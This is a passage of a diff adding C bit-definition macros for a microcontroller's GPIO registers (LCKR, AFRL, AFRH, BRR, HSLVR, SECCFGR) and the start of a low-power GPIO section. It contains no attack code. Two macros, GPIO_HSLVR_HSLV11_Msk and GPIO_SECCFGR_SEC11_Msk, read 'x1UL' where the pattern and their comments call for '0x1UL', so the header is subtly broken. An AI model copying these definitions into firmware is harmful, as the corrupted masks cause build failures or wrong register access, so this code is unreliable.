*/ +#define GPIO_LCKR_LCK5 GPIO_LCKR_LCK5_Msk +#define GPIO_LCKR_LCK6_Pos (6UL) +#define GPIO_LCKR_LCK6_Msk (0x1UL << GPIO_LCKR_LCK6_Pos) /*!< 0x00000040 */ +#define GPIO_LCKR_LCK6 GPIO_LCKR_LCK6_Msk +#define GPIO_LCKR_LCK7_Pos (7UL) +#define GPIO_LCKR_LCK7_Msk (0x1UL << GPIO_LCKR_LCK7_Pos) /*!< 0x00000080 */ +#define GPIO_LCKR_LCK7 GPIO_LCKR_LCK7_Msk +#define GPIO_LCKR_LCK8_Pos (8UL) +#define GPIO_LCKR_LCK8_Msk (0x1UL << GPIO_LCKR_LCK8_Pos) /*!< 0x00000100 */ +#define GPIO_LCKR_LCK8 GPIO_LCKR_LCK8_Msk +#define GPIO_LCKR_LCK9_Pos (9UL) +#define GPIO_LCKR_LCK9_Msk (0x1UL << GPIO_LCKR_LCK9_Pos) /*!< 0x00000200 */ +#define GPIO_LCKR_LCK9 GPIO_LCKR_LCK9_Msk +#define GPIO_LCKR_LCK10_Pos (10UL) +#define GPIO_LCKR_LCK10_Msk (0x1UL << GPIO_LCKR_LCK10_Pos) /*!< 0x00000400 */ +#define GPIO_LCKR_LCK10 GPIO_LCKR_LCK10_Msk +#define GPIO_LCKR_LCK11_Pos (11UL) +#define GPIO_LCKR_LCK11_Msk (0x1UL << GPIO_LCKR_LCK11_Pos) /*!< 0x00000800 */ +#define GPIO_LCKR_LCK11 GPIO_LCKR_LCK11_Msk +#define GPIO_LCKR_LCK12_Pos (12UL) +#define GPIO_LCKR_LCK12_Msk (0x1UL << GPIO_LCKR_LCK12_Pos) /*!< 0x00001000 */ +#define GPIO_LCKR_LCK12 GPIO_LCKR_LCK12_Msk +#define GPIO_LCKR_LCK13_Pos (13UL) +#define GPIO_LCKR_LCK13_Msk (0x1UL << GPIO_LCKR_LCK13_Pos) /*!< 0x00002000 */ +#define GPIO_LCKR_LCK13 GPIO_LCKR_LCK13_Msk +#define GPIO_LCKR_LCK14_Pos (14UL) +#define GPIO_LCKR_LCK14_Msk (0x1UL << GPIO_LCKR_LCK14_Pos) /*!< 0x00004000 */ +#define GPIO_LCKR_LCK14 GPIO_LCKR_LCK14_Msk +#define GPIO_LCKR_LCK15_Pos (15UL) +#define GPIO_LCKR_LCK15_Msk (0x1UL << GPIO_LCKR_LCK15_Pos) /*!< 0x00008000 */ +#define GPIO_LCKR_LCK15 GPIO_LCKR_LCK15_Msk +#define GPIO_LCKR_LCKK_Pos (16UL) +#define GPIO_LCKR_LCKK_Msk (0x1UL << GPIO_LCKR_LCKK_Pos) /*!< 0x00010000 */ +#define GPIO_LCKR_LCKK GPIO_LCKR_LCKK_Msk + +/****************** Bit definition for GPIO_AFRL register *********************/ +#define GPIO_AFRL_AFSEL0_Pos (0UL) +#define GPIO_AFRL_AFSEL0_Msk (0xFUL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x0000000F */ +#define GPIO_AFRL_AFSEL0 GPIO_AFRL_AFSEL0_Msk +#define GPIO_AFRL_AFSEL0_0 (0x1UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000001 */ +#define GPIO_AFRL_AFSEL0_1 (0x2UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000002 */ +#define GPIO_AFRL_AFSEL0_2 (0x4UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000004 */ +#define GPIO_AFRL_AFSEL0_3 (0x8UL << GPIO_AFRL_AFSEL0_Pos) /*!< 0x00000008 */ +#define GPIO_AFRL_AFSEL1_Pos (4UL) +#define GPIO_AFRL_AFSEL1_Msk (0xFUL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x000000F0 */ +#define GPIO_AFRL_AFSEL1 GPIO_AFRL_AFSEL1_Msk +#define GPIO_AFRL_AFSEL1_0 (0x1UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000010 */ +#define GPIO_AFRL_AFSEL1_1 (0x2UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000020 */ +#define GPIO_AFRL_AFSEL1_2 (0x4UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000040 */ +#define GPIO_AFRL_AFSEL1_3 (0x8UL << GPIO_AFRL_AFSEL1_Pos) /*!< 0x00000080 */ +#define GPIO_AFRL_AFSEL2_Pos (8UL) +#define GPIO_AFRL_AFSEL2_Msk (0xFUL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000F00 */ +#define GPIO_AFRL_AFSEL2 GPIO_AFRL_AFSEL2_Msk +#define GPIO_AFRL_AFSEL2_0 (0x1UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000100 */ +#define GPIO_AFRL_AFSEL2_1 (0x2UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000200 */ +#define GPIO_AFRL_AFSEL2_2 (0x4UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000400 */ +#define GPIO_AFRL_AFSEL2_3 (0x8UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000800 */ +#define GPIO_AFRL_AFSEL3_Pos (12UL) +#define GPIO_AFRL_AFSEL3_Msk (0xFUL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x0000F000 */ +#define GPIO_AFRL_AFSEL3 GPIO_AFRL_AFSEL3_Msk +#define GPIO_AFRL_AFSEL3_0 (0x1UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00001000 */ +#define GPIO_AFRL_AFSEL3_1 (0x2UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00002000 */ +#define GPIO_AFRL_AFSEL3_2 (0x4UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00004000 */ +#define GPIO_AFRL_AFSEL3_3 (0x8UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00008000 */ +#define GPIO_AFRL_AFSEL4_Pos (16UL) +#define GPIO_AFRL_AFSEL4_Msk (0xFUL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x000F0000 */ +#define GPIO_AFRL_AFSEL4 GPIO_AFRL_AFSEL4_Msk +#define GPIO_AFRL_AFSEL4_0 (0x1UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00010000 */ +#define GPIO_AFRL_AFSEL4_1 (0x2UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00020000 */ +#define GPIO_AFRL_AFSEL4_2 (0x4UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00040000 */ +#define GPIO_AFRL_AFSEL4_3 (0x8UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00080000 */ +#define GPIO_AFRL_AFSEL5_Pos (20UL) +#define GPIO_AFRL_AFSEL5_Msk (0xFUL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00F00000 */ +#define GPIO_AFRL_AFSEL5 GPIO_AFRL_AFSEL5_Msk +#define GPIO_AFRL_AFSEL5_0 (0x1UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00100000 */ +#define GPIO_AFRL_AFSEL5_1 (0x2UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00200000 */ +#define GPIO_AFRL_AFSEL5_2 (0x4UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00400000 */ +#define GPIO_AFRL_AFSEL5_3 (0x8UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00800000 */ +#define GPIO_AFRL_AFSEL6_Pos (24UL) +#define GPIO_AFRL_AFSEL6_Msk (0xFUL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x0F000000 */ +#define GPIO_AFRL_AFSEL6 GPIO_AFRL_AFSEL6_Msk +#define GPIO_AFRL_AFSEL6_0 (0x1UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x01000000 */ +#define GPIO_AFRL_AFSEL6_1 (0x2UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x02000000 */ +#define GPIO_AFRL_AFSEL6_2 (0x4UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x04000000 */ +#define GPIO_AFRL_AFSEL6_3 (0x8UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x08000000 */ +#define GPIO_AFRL_AFSEL7_Pos (28UL) +#define GPIO_AFRL_AFSEL7_Msk (0xFUL << GPIO_AFRL_AFSEL7_Pos) /*!< 0xF0000000 */ +#define GPIO_AFRL_AFSEL7 GPIO_AFRL_AFSEL7_Msk +#define GPIO_AFRL_AFSEL7_0 (0x1UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x10000000 */ +#define GPIO_AFRL_AFSEL7_1 (0x2UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x20000000 */ +#define GPIO_AFRL_AFSEL7_2 (0x4UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x40000000 */ +#define GPIO_AFRL_AFSEL7_3 (0x8UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x80000000 */ + +/****************** Bit definition for GPIO_AFRH register *********************/ +#define GPIO_AFRH_AFSEL8_Pos (0UL) +#define GPIO_AFRH_AFSEL8_Msk (0xFUL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x0000000F */ +#define GPIO_AFRH_AFSEL8 GPIO_AFRH_AFSEL8_Msk +#define GPIO_AFRH_AFSEL8_0 (0x1UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000001 */ +#define GPIO_AFRH_AFSEL8_1 (0x2UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000002 */ +#define GPIO_AFRH_AFSEL8_2 (0x4UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000004 */ +#define GPIO_AFRH_AFSEL8_3 (0x8UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000008 */ +#define GPIO_AFRH_AFSEL9_Pos (4UL) +#define GPIO_AFRH_AFSEL9_Msk (0xFUL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x000000F0 */ +#define GPIO_AFRH_AFSEL9 GPIO_AFRH_AFSEL9_Msk +#define GPIO_AFRH_AFSEL9_0 (0x1UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000010 */ +#define GPIO_AFRH_AFSEL9_1 (0x2UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000020 */ +#define GPIO_AFRH_AFSEL9_2 (0x4UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000040 */ +#define GPIO_AFRH_AFSEL9_3 (0x8UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000080 */ +#define GPIO_AFRH_AFSEL10_Pos (8UL) +#define GPIO_AFRH_AFSEL10_Msk (0xFUL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000F00 */ +#define GPIO_AFRH_AFSEL10 GPIO_AFRH_AFSEL10_Msk +#define GPIO_AFRH_AFSEL10_0 (0x1UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000100 */ +#define GPIO_AFRH_AFSEL10_1 (0x2UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000200 */ +#define GPIO_AFRH_AFSEL10_2 (0x4UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000400 */ +#define GPIO_AFRH_AFSEL10_3 (0x8UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000800 */ +#define GPIO_AFRH_AFSEL11_Pos (12UL) +#define GPIO_AFRH_AFSEL11_Msk (0xFUL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x0000F000 */ +#define GPIO_AFRH_AFSEL11 GPIO_AFRH_AFSEL11_Msk +#define GPIO_AFRH_AFSEL11_0 (0x1UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00001000 */ +#define GPIO_AFRH_AFSEL11_1 (0x2UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00002000 */ +#define GPIO_AFRH_AFSEL11_2 (0x4UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00004000 */ +#define GPIO_AFRH_AFSEL11_3 (0x8UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00008000 */ +#define GPIO_AFRH_AFSEL12_Pos (16UL) +#define GPIO_AFRH_AFSEL12_Msk (0xFUL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x000F0000 */ +#define GPIO_AFRH_AFSEL12 GPIO_AFRH_AFSEL12_Msk +#define GPIO_AFRH_AFSEL12_0 (0x1UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00010000 */ +#define GPIO_AFRH_AFSEL12_1 (0x2UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00020000 */ +#define GPIO_AFRH_AFSEL12_2 (0x4UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00040000 */ +#define GPIO_AFRH_AFSEL12_3 (0x8UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00080000 */ +#define GPIO_AFRH_AFSEL13_Pos (20UL) +#define GPIO_AFRH_AFSEL13_Msk (0xFUL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00F00000 */ +#define GPIO_AFRH_AFSEL13 GPIO_AFRH_AFSEL13_Msk +#define GPIO_AFRH_AFSEL13_0 (0x1UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00100000 */ +#define GPIO_AFRH_AFSEL13_1 (0x2UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00200000 */ +#define GPIO_AFRH_AFSEL13_2 (0x4UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00400000 */ +#define GPIO_AFRH_AFSEL13_3 (0x8UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00800000 */ +#define GPIO_AFRH_AFSEL14_Pos (24UL) +#define GPIO_AFRH_AFSEL14_Msk (0xFUL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x0F000000 */ +#define GPIO_AFRH_AFSEL14 GPIO_AFRH_AFSEL14_Msk +#define GPIO_AFRH_AFSEL14_0 (0x1UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x01000000 */ +#define GPIO_AFRH_AFSEL14_1 (0x2UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x02000000 */ +#define GPIO_AFRH_AFSEL14_2 (0x4UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x04000000 */ +#define GPIO_AFRH_AFSEL14_3 (0x8UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x08000000 */ +#define GPIO_AFRH_AFSEL15_Pos (28UL) +#define GPIO_AFRH_AFSEL15_Msk (0xFUL << GPIO_AFRH_AFSEL15_Pos) /*!< 0xF0000000 */ +#define GPIO_AFRH_AFSEL15 GPIO_AFRH_AFSEL15_Msk +#define GPIO_AFRH_AFSEL15_0 (0x1UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x10000000 */ +#define GPIO_AFRH_AFSEL15_1 (0x2UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x20000000 */ +#define GPIO_AFRH_AFSEL15_2 (0x4UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x40000000 */ +#define GPIO_AFRH_AFSEL15_3 (0x8UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_BRR register ******************/ +#define GPIO_BRR_BR0_Pos (0UL) +#define GPIO_BRR_BR0_Msk (0x1UL << GPIO_BRR_BR0_Pos) /*!< 0x00000001 */ +#define GPIO_BRR_BR0 GPIO_BRR_BR0_Msk +#define GPIO_BRR_BR1_Pos (1UL) +#define GPIO_BRR_BR1_Msk (0x1UL << GPIO_BRR_BR1_Pos) /*!< 0x00000002 */ +#define GPIO_BRR_BR1 GPIO_BRR_BR1_Msk +#define GPIO_BRR_BR2_Pos (2UL) +#define GPIO_BRR_BR2_Msk (0x1UL << GPIO_BRR_BR2_Pos) /*!< 0x00000004 */ +#define GPIO_BRR_BR2 GPIO_BRR_BR2_Msk +#define GPIO_BRR_BR3_Pos (3UL) +#define GPIO_BRR_BR3_Msk (0x1UL << GPIO_BRR_BR3_Pos) /*!< 0x00000008 */ +#define GPIO_BRR_BR3 GPIO_BRR_BR3_Msk +#define GPIO_BRR_BR4_Pos (4UL) +#define GPIO_BRR_BR4_Msk (0x1UL << GPIO_BRR_BR4_Pos) /*!< 0x00000010 */ +#define GPIO_BRR_BR4 GPIO_BRR_BR4_Msk +#define GPIO_BRR_BR5_Pos (5UL) +#define GPIO_BRR_BR5_Msk (0x1UL << GPIO_BRR_BR5_Pos) /*!< 0x00000020 */ +#define GPIO_BRR_BR5 GPIO_BRR_BR5_Msk +#define GPIO_BRR_BR6_Pos (6UL) +#define GPIO_BRR_BR6_Msk (0x1UL << GPIO_BRR_BR6_Pos) /*!< 0x00000040 */ +#define GPIO_BRR_BR6 GPIO_BRR_BR6_Msk +#define GPIO_BRR_BR7_Pos (7UL) +#define GPIO_BRR_BR7_Msk (0x1UL << GPIO_BRR_BR7_Pos) /*!< 0x00000080 */ +#define GPIO_BRR_BR7 GPIO_BRR_BR7_Msk +#define GPIO_BRR_BR8_Pos (8UL) +#define GPIO_BRR_BR8_Msk (0x1UL << GPIO_BRR_BR8_Pos) /*!< 0x00000100 */ +#define GPIO_BRR_BR8 GPIO_BRR_BR8_Msk +#define GPIO_BRR_BR9_Pos (9UL) +#define GPIO_BRR_BR9_Msk (0x1UL << GPIO_BRR_BR9_Pos) /*!< 0x00000200 */ +#define GPIO_BRR_BR9 GPIO_BRR_BR9_Msk +#define GPIO_BRR_BR10_Pos (10UL) +#define GPIO_BRR_BR10_Msk (0x1UL << GPIO_BRR_BR10_Pos) /*!< 0x00000400 */ +#define GPIO_BRR_BR10 GPIO_BRR_BR10_Msk +#define GPIO_BRR_BR11_Pos (11UL) +#define GPIO_BRR_BR11_Msk (0x1UL << GPIO_BRR_BR11_Pos) /*!< 0x00000800 */ +#define GPIO_BRR_BR11 GPIO_BRR_BR11_Msk +#define GPIO_BRR_BR12_Pos (12UL) +#define GPIO_BRR_BR12_Msk (0x1UL << GPIO_BRR_BR12_Pos) /*!< 0x00001000 */ +#define GPIO_BRR_BR12 GPIO_BRR_BR12_Msk +#define GPIO_BRR_BR13_Pos (13UL) +#define GPIO_BRR_BR13_Msk (0x1UL << GPIO_BRR_BR13_Pos) /*!< 0x00002000 */ +#define GPIO_BRR_BR13 GPIO_BRR_BR13_Msk +#define GPIO_BRR_BR14_Pos (14UL) +#define GPIO_BRR_BR14_Msk (0x1UL << GPIO_BRR_BR14_Pos) /*!< 0x00004000 */ +#define GPIO_BRR_BR14 GPIO_BRR_BR14_Msk +#define GPIO_BRR_BR15_Pos (15UL) +#define GPIO_BRR_BR15_Msk (0x1UL << GPIO_BRR_BR15_Pos) /*!< 0x00008000 */ +#define GPIO_BRR_BR15 GPIO_BRR_BR15_Msk + +/****************** Bits definition for GPIO_HSLVR register ******************/ +#define GPIO_HSLVR_HSLV0_Pos (0UL) +#define GPIO_HSLVR_HSLV0_Msk (0x1UL << GPIO_HSLVR_HSLV0_Pos) /*!< 0x00000001 */ +#define GPIO_HSLVR_HSLV0 GPIO_HSLVR_HSLV0_Msk +#define GPIO_HSLVR_HSLV1_Pos (1UL) +#define GPIO_HSLVR_HSLV1_Msk (0x1UL << GPIO_HSLVR_HSLV1_Pos) /*!< 0x00000002 */ +#define GPIO_HSLVR_HSLV1 GPIO_HSLVR_HSLV1_Msk +#define GPIO_HSLVR_HSLV2_Pos (2UL) +#define GPIO_HSLVR_HSLV2_Msk (0x1UL << GPIO_HSLVR_HSLV2_Pos) /*!< 0x00000004 */ +#define GPIO_HSLVR_HSLV2 GPIO_HSLVR_HSLV2_Msk +#define GPIO_HSLVR_HSLV3_Pos (3UL) +#define GPIO_HSLVR_HSLV3_Msk (0x1UL << GPIO_HSLVR_HSLV3_Pos) /*!< 0x00000008 */ +#define GPIO_HSLVR_HSLV3 GPIO_HSLVR_HSLV3_Msk +#define GPIO_HSLVR_HSLV4_Pos (4UL) +#define GPIO_HSLVR_HSLV4_Msk (0x1UL << GPIO_HSLVR_HSLV4_Pos) /*!< 0x00000010 */ +#define GPIO_HSLVR_HSLV4 GPIO_HSLVR_HSLV4_Msk +#define GPIO_HSLVR_HSLV5_Pos (5UL) +#define GPIO_HSLVR_HSLV5_Msk (0x1UL << GPIO_HSLVR_HSLV5_Pos) /*!< 0x00000020 */ +#define GPIO_HSLVR_HSLV5 GPIO_HSLVR_HSLV5_Msk +#define GPIO_HSLVR_HSLV6_Pos (6UL) +#define GPIO_HSLVR_HSLV6_Msk (0x1UL << GPIO_HSLVR_HSLV6_Pos) /*!< 0x00000040 */ +#define GPIO_HSLVR_HSLV6 GPIO_HSLVR_HSLV6_Msk +#define GPIO_HSLVR_HSLV7_Pos (7UL) +#define GPIO_HSLVR_HSLV7_Msk (0x1UL << GPIO_HSLVR_HSLV7_Pos) /*!< 0x00000080 */ +#define GPIO_HSLVR_HSLV7 GPIO_HSLVR_HSLV7_Msk +#define GPIO_HSLVR_HSLV8_Pos (8UL) +#define GPIO_HSLVR_HSLV8_Msk (0x1UL << GPIO_HSLVR_HSLV8_Pos) /*!< 0x00000100 */ +#define GPIO_HSLVR_HSLV8 GPIO_HSLVR_HSLV8_Msk +#define GPIO_HSLVR_HSLV9_Pos (9UL) +#define GPIO_HSLVR_HSLV9_Msk (0x1UL << GPIO_HSLVR_HSLV9_Pos) /*!< 0x00000200 */ +#define GPIO_HSLVR_HSLV9 GPIO_HSLVR_HSLV9_Msk +#define GPIO_HSLVR_HSLV10_Pos (10UL) +#define GPIO_HSLVR_HSLV10_Msk (0x1UL << GPIO_HSLVR_HSLV10_Pos) /*!< 0x00000400 */ +#define GPIO_HSLVR_HSLV10 GPIO_HSLVR_HSLV10_Msk +#define GPIO_HSLVR_HSLV11_Pos (11UL) +#define GPIO_HSLVR_HSLV11_Msk (x1UL << GPIO_HSLVR_HSLV11_Pos) /*!< 0x00000800 */ +#define GPIO_HSLVR_HSLV11 GPIO_HSLVR_HSLV11_Msk +#define GPIO_HSLVR_HSLV12_Pos (12UL) +#define GPIO_HSLVR_HSLV12_Msk (0x1UL << GPIO_HSLVR_HSLV12_Pos) /*!< 0x00001000 */ +#define GPIO_HSLVR_HSLV12 GPIO_HSLVR_HSLV12_Msk +#define GPIO_HSLVR_HSLV13_Pos (13UL) +#define GPIO_HSLVR_HSLV13_Msk (0x1UL << GPIO_HSLVR_HSLV13_Pos) /*!< 0x00002000 */ +#define GPIO_HSLVR_HSLV13 GPIO_HSLVR_HSLV13_Msk +#define GPIO_HSLVR_HSLV14_Pos (14UL) +#define GPIO_HSLVR_HSLV14_Msk (0x1UL << GPIO_HSLVR_HSLV14_Pos) /*!< 0x00004000 */ +#define GPIO_HSLVR_HSLV14 GPIO_HSLVR_HSLV14_Msk +#define GPIO_HSLVR_HSLV15_Pos (15UL) +#define GPIO_HSLVR_HSLV15_Msk (0x1UL << GPIO_HSLVR_HSLV15_Pos) /*!< 0x00008000 */ +#define GPIO_HSLVR_HSLV15 GPIO_HSLVR_HSLV15_Msk + +/****************** Bits definition for GPIO_SECCFGR register ******************/ +#define GPIO_SECCFGR_SEC0_Pos (0UL) +#define GPIO_SECCFGR_SEC0_Msk (0x1UL << GPIO_SECCFGR_SEC0_Pos) /*!< 0x00000001 */ +#define GPIO_SECCFGR_SEC0 GPIO_SECCFGR_SEC0_Msk +#define GPIO_SECCFGR_SEC1_Pos (1UL) +#define GPIO_SECCFGR_SEC1_Msk (0x1UL << GPIO_SECCFGR_SEC1_Pos) /*!< 0x00000002 */ +#define GPIO_SECCFGR_SEC1 GPIO_SECCFGR_SEC1_Msk +#define GPIO_SECCFGR_SEC2_Pos (2UL) +#define GPIO_SECCFGR_SEC2_Msk (0x1UL << GPIO_SECCFGR_SEC2_Pos) /*!< 0x00000004 */ +#define GPIO_SECCFGR_SEC2 GPIO_SECCFGR_SEC2_Msk +#define GPIO_SECCFGR_SEC3_Pos (3UL) +#define GPIO_SECCFGR_SEC3_Msk (0x1UL << GPIO_SECCFGR_SEC3_Pos) /*!< 0x00000008 */ +#define GPIO_SECCFGR_SEC3 GPIO_SECCFGR_SEC3_Msk +#define GPIO_SECCFGR_SEC4_Pos (4UL) +#define GPIO_SECCFGR_SEC4_Msk (0x1UL << GPIO_SECCFGR_SEC4_Pos) /*!< 0x00000010 */ +#define GPIO_SECCFGR_SEC4 GPIO_SECCFGR_SEC4_Msk +#define GPIO_SECCFGR_SEC5_Pos (5UL) +#define GPIO_SECCFGR_SEC5_Msk (0x1UL << GPIO_SECCFGR_SEC5_Pos) /*!< 0x00000020 */ +#define GPIO_SECCFGR_SEC5 GPIO_SECCFGR_SEC5_Msk +#define GPIO_SECCFGR_SEC6_Pos (6UL) +#define GPIO_SECCFGR_SEC6_Msk (0x1UL << GPIO_SECCFGR_SEC6_Pos) /*!< 0x00000040 */ +#define GPIO_SECCFGR_SEC6 GPIO_SECCFGR_SEC6_Msk +#define GPIO_SECCFGR_SEC7_Pos (7UL) +#define GPIO_SECCFGR_SEC7_Msk (0x1UL << GPIO_SECCFGR_SEC7_Pos) /*!< 0x00000080 */ +#define GPIO_SECCFGR_SEC7 GPIO_SECCFGR_SEC7_Msk +#define GPIO_SECCFGR_SEC8_Pos (8UL) +#define GPIO_SECCFGR_SEC8_Msk (0x1UL << GPIO_SECCFGR_SEC8_Pos) /*!< 0x00000100 */ +#define GPIO_SECCFGR_SEC8 GPIO_SECCFGR_SEC8_Msk +#define GPIO_SECCFGR_SEC9_Pos (9UL) +#define GPIO_SECCFGR_SEC9_Msk (0x1UL << GPIO_SECCFGR_SEC9_Pos) /*!< 0x00000200 */ +#define GPIO_SECCFGR_SEC9 GPIO_SECCFGR_SEC9_Msk +#define GPIO_SECCFGR_SEC10_Pos (10UL) +#define GPIO_SECCFGR_SEC10_Msk (0x1UL << GPIO_SECCFGR_SEC10_Pos) /*!< 0x00000400 */ +#define GPIO_SECCFGR_SEC10 GPIO_SECCFGR_SEC10_Msk +#define GPIO_SECCFGR_SEC11_Pos (11UL) +#define GPIO_SECCFGR_SEC11_Msk (x1UL << GPIO_SECCFGR_SEC11_Pos) /*!< 0x00000800 */ +#define GPIO_SECCFGR_SEC11 GPIO_SECCFGR_SEC11_Msk +#define GPIO_SECCFGR_SEC12_Pos (12UL) +#define GPIO_SECCFGR_SEC12_Msk (0x1UL << GPIO_SECCFGR_SEC12_Pos) /*!< 0x00001000 */ +#define GPIO_SECCFGR_SEC12 GPIO_SECCFGR_SEC12_Msk +#define GPIO_SECCFGR_SEC13_Pos (13UL) +#define GPIO_SECCFGR_SEC13_Msk (0x1UL << GPIO_SECCFGR_SEC13_Pos) /*!< 0x00002000 */ +#define GPIO_SECCFGR_SEC13 GPIO_SECCFGR_SEC13_Msk +#define GPIO_SECCFGR_SEC14_Pos (14UL) +#define GPIO_SECCFGR_SEC14_Msk (0x1UL << GPIO_SECCFGR_SEC14_Pos) /*!< 0x00004000 */ +#define GPIO_SECCFGR_SEC14 GPIO_SECCFGR_SEC14_Msk +#define GPIO_SECCFGR_SEC15_Pos (15UL) +#define GPIO_SECCFGR_SEC15_Msk (0x1UL << GPIO_SECCFGR_SEC15_Pos) /*!< 0x00008000 */ +#define GPIO_SECCFGR_SEC15 GPIO_SECCFGR_SEC15_Msk + +/******************************************************************************/ +/* */ +/* Low Power General Purpose IOs (LPGPIO) */ +/* */ +/******************************************************************************/ +/****************** Bits definition for LPGPIO_MODER register *****************/ +#define LPGPIO_MODER_MOD0_Pos (0UL) +#define LPGPIO_MODER_MOD0_Msk (0x1UL << LPGPIO_MODER_MOD0_Pos) /*!< 0x00000001 */ +#define LPGPIO_MODER_MOD0 LPGPIO_MODER_MOD0_Msk +#define LPGPIO_MODER_MOD1_Pos (1UL) +#define LPGPIO_MODER_MOD1_Msk (0x1UL << LPGPIO_MODER_MOD1_Pos) /*!< 0x00000002 */ +#define LPGPIO_MODER_MOD1 LPGPIO_MODER_MOD1_Msk +#define LPGPIO_MODER_MOD2_Pos (2UL) +#define LPGPIO_MODER_MOD2_Msk (0x1UL << LPGPIO_MODER_MOD2_Pos) /*!< 0x00000004 */ +#define LPGPIO_MODER_MOD2 LPGPIO_MODER_MOD2_Msk +#define LPGPIO_MODER_MOD3_Pos (3UL) +#define LPGPIO_MODER_MOD3_Msk (0x1UL << LPGPIO_MODER_MOD3_Pos) /*!< 0x00000008 */ +#define LPGPIO_MODER_MOD3 LPGPIO_MODER_MOD3_Msk +#define LPGPIO_MODER_MOD4_Pos (4UL) +#define LPGPIO_MODER_MOD4_Msk (0x1UL << LPGPIO_MODER_MOD4_Pos) /*!< 0x00000010 */ +#define LPGPIO_MODER_MOD4 LPGPIO_MODER_MOD4_Msk +#define LPGPIO_MODER_MOD5_Pos (5UL) +#define LPGPIO_MODER_MOD5_Msk (0x1UL << LPGPIO_MODER_MOD5_Pos) /*!< 0x00000020 */ +#define LPGPIO_MODER_MOD5 LPGPIO_MODER_MOD5_Msk +#define LPGPIO_MODER_MOD6_Pos (6UL) +#define LPGPIO_MODER_MOD6_Msk (0x1UL << LPGPIO_MODER_MOD6_Pos) /*!< 0x00000040 */ +#define LPGPIO_MODER_MOD6 LPGPIO_MODER_MOD6_Msk +#define LPGPIO_MODER_MOD7_Pos (7UL) +#define LPGPIO_MODER_MOD7_Msk (0x1UL << LPGPIO_MODER_MOD7_Pos) /*!< 0x00000080 */ +#define LPGPIO_MODER_MOD7 LPGPIO_MODER_MOD7_Msk +#define LPGPIO_MODER_MOD8_Pos (8UL) +#define LPGPIO_MODER_MOD8_Msk (0x1UL << LPGPIO_MODER_MOD8_Pos) /*!< 0x00000100 */ +#define LPGPIO_MODER_MOD8 LPGPIO_MODER_MOD8_Msk +#define LPGPIO_MODER_MOD9_Pos (9UL) +#define LPGPIO_MODER_MOD9_Msk (0x1UL << LPGPIO_MODER_MOD9_Pos) /*!< 